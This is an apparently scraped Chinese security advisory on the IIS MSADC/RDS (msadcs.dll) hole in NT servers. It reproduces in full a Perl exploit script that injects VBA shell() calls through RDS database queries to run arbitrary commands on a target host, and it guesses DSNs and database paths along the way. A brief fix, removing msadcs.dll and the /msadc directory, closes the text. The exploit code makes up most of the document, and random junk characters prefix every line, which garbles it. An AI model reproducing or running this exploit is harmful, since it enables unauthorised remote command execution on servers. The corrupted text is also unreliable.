IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3 ;A Jp_; r x@2Dmt6
涉及程序：
spWo{ Microsoft NT server
}-
wK ~VV $wU!A 描述：
HrUE?Sq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
BadnL<cj] CD4@ 0Z+ 详细：
Z_mQpt|y 如果你没有时间读详细内容的话，就删除:
2"WP>>b80 c:\Program Files\Common Files\System\Msadc\msadcs.dll
cI-@nV 有关的安全问题就没有了。
* D vQnj i/ PL!'o q 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
r(rT.D& BE!l{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
SeLF ubs_ 关于利用ODBC远程漏洞的描述，请参看:
T/:6Z H(Y 1%@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T=CJUla %eGI]!vf 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
*77Y$X##k http://www.microsoft.com/security/bulletins/MS99-025faq.asp q9c-UQB(! }/ Qj8l. 这里不再论述。
]1M Z:]k 0D0 uzUD- 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
u"8KH
u5C@ #VxN [770 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<`NtT G 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
@?gRWH;Pq b"Jr_24t3v QQD7NN> #将下面这段保存为txt文件，然后: "perl -x 文件名"
x:c'ek )5u#'5I> #!perl
.R^ R|<x #
iu2O/l# r # MSADC/RDS 'usage' (aka exploit) script
Z:diM$Z? 7 #
d+"F(R9 # by rain.forest.puppy
cv. j #
m%c]+Our` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5x! rT&!G # beta test and find errors!
): fu]s" -J 0I2D use Socket; use Getopt::Std;
S|?P#.=GX getopts("e:vd:h:XR", \%args);
g'2}Y5m$` @.,'A[D!K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+wZ|g6vMct =&~ K;=: if (!defined $args{h} && !defined $args{R}) {
8Nx fYA print qq~
@~FJlG(n Usage: msadc.pl -h <host> { -d <delay> -X -v }
o\fPZ`p-m~ -h <host> = host you want to scan (ip or domain)
RFq= `/>dG -d <seconds> = delay between calls, default 1 second
X.ZG-TC -X = dump Index Server path table, if available
i O$ ? No -v = verbose
[7 t -e = external dictionary file for step 5
->Fs mb+R U&SSc@of Or a -R will resume a command session
9t8ccr A,c_ME+DVB ~; exit;}
O`Htdnu SZ:R~4 A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
zoBp02j if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
r4fd@<=g if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
g[;&_gL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;u <F,o( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Swgvj(y;!A if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
V7vojm4 O ] #7baZ if (!defined $args{R}){ $ret = &has_msadc;
w:](F^<s, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v~0lZe =w<i Y O print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,V''?@ . "cmd /c ";
E!`/XB/nA $in=<STDIN>; chomp $in;
-V P_Aw$ $command="cmd /c " . $in ;
%VE FruM <3Rq! w/ if (defined $args{R}) {&load; exit;}
q (BRJ( ;Mr Q1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\"$q=% vD &try_btcustmr;
HUbXJsSP Equ%6x print "\nStep 2: Trying to make our own DSN...";
aM:tg1g &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e}s,WC2 - -CALU X print "\nStep 3: Trying known DSNs...";
F*Ul#yX &known_dsn;
AjsjYThV C Y"i|s print "\nStep 4: Trying known .mdbs...";
h]4qJ &known_mdb;
9l,8:%X_ .~a8\ 6t if (defined $args{e}){
`W7; - print "\nStep 5: Trying dictionary of DSN names...";
(l/ i# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}a%Wu 7D kmt+E'^] print "Sorry Charley...maybe next time?\n";
4 $4Tx9C exit;
S+?*l4QK |BO5 <`&I ##############################################################################
>b~Q%{1 !Nbi&^k B sub sendraw { # ripped and modded from whisker
,t|_Nc
sleep($delay); # it's a DoS on the server! At least on mine...
MfA%Xep my ($pstr)=@_;
slLTZ] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e.(RhajB die("Socket problems\n");
~8'HX*B]z if(connect(S,pack "SnA4x8",2,80,$target)){
|1Nz8Vr. select(S); $|=1;
mn(MgJKQ\ print $pstr; my @in=<S>;
ANR611-a select(STDOUT); close(S);
) P|/<>z return @in;
Q[lkhx|.B } else { die("Can't connect...\n"); }}
&m{~4]qWpM I, V'J|=j ##############################################################################
bHz Z4i "AIS6%, sub make_header { # make the HTTP request
>f;oY9 {m my $msadc=<<EOT
R ^.c POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
EPM(hxCIQ User-Agent: ACTIVEDATA
S-brV\v7 Host: $ip
buHUBn[3) Content-Length: $clen
!H @nAz Connection: Keep-Alive
Ua HN*@ fUJe{C<H ADCClientVersion:01.06
5!6}g<z&L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f%REN3=5K GB}X --!ADM!ROX!YOUR!WORLD!
y;h co Content-Type: application/x-varg
vVo# nzeZ5 Content-Length: $reqlen
4 ijZQ vmW`}FKW EOT
4Cvo^k/I ; $msadc=~s/\n/\r\n/g;
"eI">`!g return $msadc;}
l_fER p#y W61:$y}8 ##############################################################################
(e3?--~b6 5'x Z9 K sub make_req { # make the RDS request
^!O 2Fw my ($switch, $p1, $p2)=@_;
!V/p.O my $req=""; my $t1, $t2, $query, $dsn;
X4"[,:Tw *C> N if ($switch==1){ # this is the btcustmr.mdb query
U"Z % _[* $query="Select * from Customers where City=" . make_shell();
`?T8NK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
lPz5.(5' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=.9tR q ^ .Q/iXgh elsif ($switch==2){ # this is general make table query
O)r>AdLGn $query="create table AZZ (B int, C varchar(10))";
i^/ H>E%u $dsn="$p1";}
a Q)g 7C ^Ux*"\/ Es elsif ($switch==3){ # this is general exploit table query
Ll^9,G"Tt $query="select * from AZZ where C=" . make_shell();
<a2K c ' $dsn="$p1";}
PU\@^)$ 1$"wN z elsif ($switch==4){ # attempt to hork file info from index server
O[ ^zQA $query="select path from scope()";
MO79FNH2\ $dsn="Provider=MSIDXS;";}
%5 <t3 H" @2 SL$0!QA elsif ($switch==5){ # bad query
utw@5 $query="select";
q,j` _
R4 $dsn="$p1";}
lpefOnO[ D&8*4> $t1= make_unicode($query);
>Wj8[9zf $t2= make_unicode($dsn);
J-Fqw-<aFJ $req = "\x02\x00\x03\x00";
@'S !G"\ $req.= "\x08\x00" . pack ("S1", length($t1));
Oi n:5K)4- $req.= "\x00\x00" . $t1 ;
r}t%DH $req.= "\x08\x00" . pack ("S1", length($t2));
uC1v^!D $req.= "\x00\x00" . $t2 ;
Y F W0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%W$?*Tm return $req;}
om,=.,|Ld R=HcSRTkA ##############################################################################
vu)V: y B 6,X) sub make_shell { # this makes the shell() statement
Q__1Q Uu return "'|shell(\"$command\")|'";}
i)d'l<RA R<1[hH9"o ##############################################################################
fOO[`"'Pq \"A ~ks~ sub make_unicode { # quick little function to convert to unicode
'gz @UE1 my ($in)=@_; my $out;
@nF# \ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_ "[O=h: return $out;}
]F,v#6qi LD}ZuCp! ##############################################################################
O .P:~ $e![^I]` sub rdo_success { # checks for RDO return success (this is kludge)
dp>Lh TLc my (@in) = @_; my $base=content_start(@in);
j [y +'O if($in[$base]=~/multipart\/mixed/){
Hd=! return 1 if( $in[$base+10]=~/^\x09\x00/ );}
oJEjg>%n return 0;}
t8b ,@J`R cBnB(t% ##############################################################################
L+" 5g@ ' =m ?l sub make_dsn { # this makes a DSN for us
3 ?D M
AV my @drives=("c","d","e","f");
-o0~xspF print "\nMaking DSN: ";
{-\VX2:;[9 foreach $drive (@drives) {
2<5s0GT'/ print "$drive: ";
NU|T`gP my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\o,`@2H+' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?gOZY\[ma . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.e% B' $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U}<;4Px]7v return 0 if $2 eq "404"; # not found/doesn't exist
$`/J
V? Z if($2 eq "200") {
:ug j+ foreach $line (@results) {
qn R{'d return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
g \
p; } return 0;}
eVbaxL!Q^ X2p9 K C ##############################################################################
rgg3{bU/ 'm+)n08[ sub verify_exists {
*1;}c
z my ($page)=@_;
[.`#N1-@M my @results=sendraw("GET $page HTTP/1.0\n\n");
nA ^UF_rD- return $results[0];}
B^uQv|m \)vxZ! ##############################################################################
^ $t7p
1 `;!v<@:i2 sub try_btcustmr {
9 l :Bum)9 my @drives=("c","d","e","f");
``mW\=fe my @dirs=("winnt","winnt35","winnt351","win","windows");
/8w
_jjW $ OMGo`z foreach $dir (@dirs) {
c o!#. print "$dir -> "; # fun status so you can see progress
ByPzA\;e foreach $drive (@drives) {
@[4 Tdf print "$drive: "; # ditto
W.AN0N $reqlen=length( make_req(1,$drive,$dir) ) - 28;
g&"__~dS-F $reqlenlen=length( "$reqlen" );
C/Dc1sj $clen= 206 + $reqlenlen + $reqlen;
9 *}?0J8 = -dk@s my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\[w 82%U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
B? r [| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'\X<+Sm' 9L'R;H?L ##############################################################################
)/F1,&/N`e =<, Az uV sub odbc_error {
k;pTOj my (@in)=@_; my $base;
SD^6ib/]b my $base = content_start(@in);
bqAv)2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$=GZ"%ED $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#:?vpV#i $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e&(Di,%: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jz2W /EE`w return $in[$base+4].$in[$base+5].$in[$base+6];}
QNH 5Cq;Y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
tA2I_W Cl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
- \!"Kz/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N8|
;X V{[vIt* ##############################################################################
w|>O!]K] fhAK^@h sub verbose {
\{ G1d"n my ($in)=@_;
rSVU|O3m; return if !$verbose;
9+\3E4K print STDOUT "\n$in\n";}
Svo gvn GJY7vS ^# ##############################################################################
?B2 T'}~ ^\uj&K6l sub save {
<tbsQ3 my ($p1, $p2, $p3, $p4)=@_;
9ci=]C5o3K open(OUT, ">rds.save") || print "Problem saving parameters...\n";
m4 ~Co*]w print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
#eT{?_wM close OUT;}
KN;b+`x;M do9@ 6[{Sv ##############################################################################
~E=.*: 5( {Ah\ -{] sub load {
r~uWr'}a} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
GyOo$FW open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+_ HPZo @p=<IN>; close(IN);
zF2GW $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}Z ws e%; $target= inet_aton($ip) || die("inet_aton problems");
HU tuU X print "Resuming to $ip ...";
q*oUd/F8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
1B;sSp.> if($p[1]==1) {
\*s'S*~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H|H!VPof] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Yq.Cz:>b my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8#w}wGV* if (rdo_success(@results)){print "Success!\n";}
yD+)!q" else { print "failed\n"; verbose(odbc_error(@results));}}
[e+"G <> elsif ($p[1]==3){
2c.~cNx`q[ if(run_query("$p[3]")){
HPGi 5rU print "Success!\n";} else { print "failed\n"; }}
XTD _q elsif ($p[1]==4){
)x-iru
A: if(run_query($drvst . "$p[3]")){
BOLG#}sm print "Success!\n"; } else { print "failed\n"; }}
MmBM\Dnv exit;}
D84`#Xbi U<**Est ##############################################################################
`<h}Ygo>k/ \5$N>
2kO sub create_table {
dIG(7 ~ my ($in)=@_;
\w! G $reqlen=length( make_req(2,$in,"") ) - 28;
ki#O ^vl $reqlenlen=length( "$reqlen" );
n_%JXm#\ $clen= 206 + $reqlenlen + $reqlen;
w<<G} 4~u| my @results=sendraw(make_header() . make_req(2,$in,""));
z6 v RTY return 1 if rdo_success(@results);
Eoug/we my $temp= odbc_error(@results); verbose($temp);
ee]PFW28 return 1 if $temp=~/Table 'AZZ' already exists/;
MX 2UYZ& return 0;}
N?H;fK4v EnJAHgRV;e ##############################################################################
jZcjiOX 4Wq{ch sub known_dsn {
`Njv#K} U # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!J w my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Yz0ruhEMk "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!Re/W
ykY "banner", "banners", "ads", "ADCDemo", "ADCTest");
,>n 4
` A N0h"EV[ foreach $dSn (@dsns) {
q#-szZQ print ".";
R ;^ [4<& next if (!is_access("DSN=$dSn"));
R/M:~h~F! if(create_table("DSN=$dSn")){
ur-&- G^ print "$dSn successful\n";
yf! if(run_query("DSN=$dSn")){
@4 m_\]Wy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
nJF"[w, ? print "Something's borked. Use verbose next time\n";}}} print "\n";}
wxARD3% inavi5. ##############################################################################
9)Y]05us |lIkmW{ sub is_access {
qx<`Kc4 my ($in)=@_;
A+3@N99HeH $reqlen=length( make_req(5,$in,"") ) - 28;
W?!(/`J] $reqlenlen=length( "$reqlen" );
W{l+_a{/9 $clen= 206 + $reqlenlen + $reqlen;
e
=Vu; my @results=sendraw(make_header() . make_req(5,$in,""));
EVM hc"L my $temp= odbc_error(@results);
,b=&iDc verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*A`hKx return 0;}
| QJ!5nb G8@({EY ##############################################################################
&( \z 3=1aMQ sub run_query {
6#O n .Q my ($in)=@_;
LbtcZ)D! $reqlen=length( make_req(3,$in,"") ) - 28;
mCe,(/>l+ $reqlenlen=length( "$reqlen" );
v8,+|+3 $clen= 206 + $reqlenlen + $reqlen;
*KF: my @results=sendraw(make_header() . make_req(3,$in,""));
K Ii V z< return 1 if rdo_success(@results);
O B8fFd my $temp= odbc_error(@results); verbose($temp);
nI%0u<=d return 0;}
;Br8\2=$ kssS,Ogf\_ ##############################################################################
zv!%u=49 $BG4M?Y sub known_mdb {
y@'8vOh` my @drives=("c","d","e","f","g");
{IJV(%E my @dirs=("winnt","winnt35","winnt351","win","windows");
3x9 O<H} my $dir, $drive, $mdb;
V<
0gD?K x my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[a\ :K2*' Lw?4xerLsb # this is sparse, because I don't know of many
)H#Hs<)Qy my @sysmdbs=( "\\catroot\\icatalog.mdb",
Er Ji
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_wKFT> "\\system32\\certmdb.mdb",
[ kgT"?w= "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
g1 L$+xD^
+O}6 8 N my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
w`,[w,t "\\cfusion\\cfapps\\forums\\forums_.mdb",
zWgNDYT~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
fQlR;4QX] "\\cfusion\\cfapps\\security\\realm_.mdb",
_L(6F
T J "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-* k%'Gr "\\cfusion\\database\\cfexamples.mdb",
|&3m '"( "\\cfusion\\database\\cfsnippets.mdb",
q i h7 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
s<|.vVi" "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m;lwMrY\7> "\\cfusion\\brighttiger\\database\\cleam.mdb",
U;:>vi3p "\\cfusion\\database\\smpolicy.mdb",
07Yh "\\cfusion\\database\cypress.mdb",
{QTfD~z^K "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
^Qrdh0j "\\website\\cgi-win\\dbsample.mdb",
*nluK "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
x
SF#ys4v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
e P|:b & ); #these are just
FD*`$.e3\ foreach $drive (@drives) {
>IC.Zt@ foreach $dir (@dirs){
*j2P#et foreach $mdb (@sysmdbs) {
E Yd`qk 3 print ".";
BS>|M}G)r if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
bgqN&J)Jr) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
QS,IM >Nr if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\C M( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(ta!4h, } else { print "Something's borked. Use verbose next time\n"; }}}}}
`&b 8wF V"*|`z) foreach $drive (@drives) {
W *0X V foreach $mdb (@mdbs) {
`UMv#-Y8 print ".";
g4&zB n if(create_table($drv . $drive . $dir . $mdb)){
X3#|9 print "\n" . $drive . $dir . $mdb . " successful\n";
1j# ~:=I if(run_query($drv . $drive . $dir . $mdb)){
Lg[*P8wE print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
..3TB= Z# } else { print "Something's borked. Use verbose next time\n"; }}}}
#IA[erf: }
CtV$lXxup ^.&uYF& ##############################################################################
u O >$,s 7m{ 'V`F sub hork_idx {
2[LT!TT print "\nAttempting to dump Index Server tables...\n";
[#$ -kd~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
THWT\3~, $reqlen=length( make_req(4,"","") ) - 28;
=|bM|8, $reqlenlen=length( "$reqlen" );
1`r
4 $clen= 206 + $reqlenlen + $reqlen;
[Pi8gj* my @results=sendraw2(make_header() . make_req(4,"",""));
W`^'hka if (rdo_success(@results)){
7gfNe kr~W my $max=@results; my $c; my %d;
;&37mO/T for($c=19; $c<$max; $c++){
PQ<""_S|| $results[$c]=~s/\x00//g;
1mgLH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
v $s3f|Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
` QXO+'j4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
vr /V_ $d{"$1$2"}="";}
m:d
P, foreach $c (keys %d){ print "$c\n"; }
YwQxN" } else {print "Index server doesn't seem to be installed.\n"; }}
Cy4@\X%W Dr$k6kZ}'U ##############################################################################
ZOK2BCoW f{FW7T}O2 sub dsn_dict {
y/h~oGxy open(IN, "<$args{e}") || die("Can't open external dictionary\n");
{*A TY+ while(<IN>){
,>V|%tD' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
++-HdSHY next if (!is_access("DSN=$dSn"));
nZ>qM]">u if(create_table("DSN=$dSn")){
8]]uk=P print "$dSn successful\n";
2HoTj| if(run_query("DSN=$dSn")){
tm @&f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v*<hE> J0 print "Something's borked. Use verbose next time\n";}}}
?< ]BLkx print "\n"; close(IN);}
a&6 3[p.<} AIR,XlD ##############################################################################
{3@ f(H m v{$X2z_$w sub sendraw2 { # ripped and modded from whisker
) ~v`dwKj; sleep($delay); # it's a DoS on the server! At least on mine...
;"-(QE?Mv my ($pstr)=@_;
.C$S
DhJ~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wUW^
O die("Socket problems\n");
rS\j9@=Y4 if(connect(S,pack "SnA4x8",2,80,$target)){
f PZt*A__ print "Connected. Getting data";
$[T^ S open(OUT,">raw.out"); my @in;
' 7+x,TszI select(S); $|=1; print $pstr;
t* m04* } while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
CeSr~Ikg| close(OUT); select(STDOUT); close(S); return @in;
vP`Sz}FU } else { die("Can't connect...\n"); }}
K PSFy< q.U` mtS ##############################################################################
9u ^PM ~m8" .Z" sub content_start { # this will take in the server headers
0f&B;?)! my (@in)=@_; my $c;
.LhIB? for ($c=1;$c<500;$c++) {
u)Y~+ [Q if($in[$c] =~/^\x0d\x0a/){
O`E r*-O if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:f
G 5?]) else { return $c+1; }}}
LQ`s> q return -1;} # it should never get here actually
#( F/P!qk JS <S?j?*/ ##############################################################################
<qT[ ?1*Ka sub funky {
m_zl*s*6 my (@in)=@_; my $error=odbc_error(@in);
.T
6 NMIp* if($error=~/ADO could not find the specified provider/){
U>w#`Sy[ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
'i;1n exit;}
F kY}6 if($error=~/A Handler is required/){
_v bCC7Bf8 print "\nServer has custom handler filters (they most likely are patched)\n";
3}(6z"r exit;}
1)pwR3(^Fz if($error=~/specified Handler has denied Access/){
r&oR|-2hRk print "\nServer has custom handler filters (they most likely are patched)\n";
.A<G$ db
? exit;}}
/2l&D~d" #%O|P&rA
##############################################################################
\(2w/~ (hNTr(z sub has_msadc {
` qnp my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
G
d~
v _ my $base=content_start(@results);
%c"PMTq( return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0gO_dyB return 0;}
mivb}c KM rV84?75( Y ########################
<}t~^E, 7'Z-V O YbtsJ
<w 解决方案：
g xY6 M4 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
94VtGg=b} 2、移除web 目录: /msadc
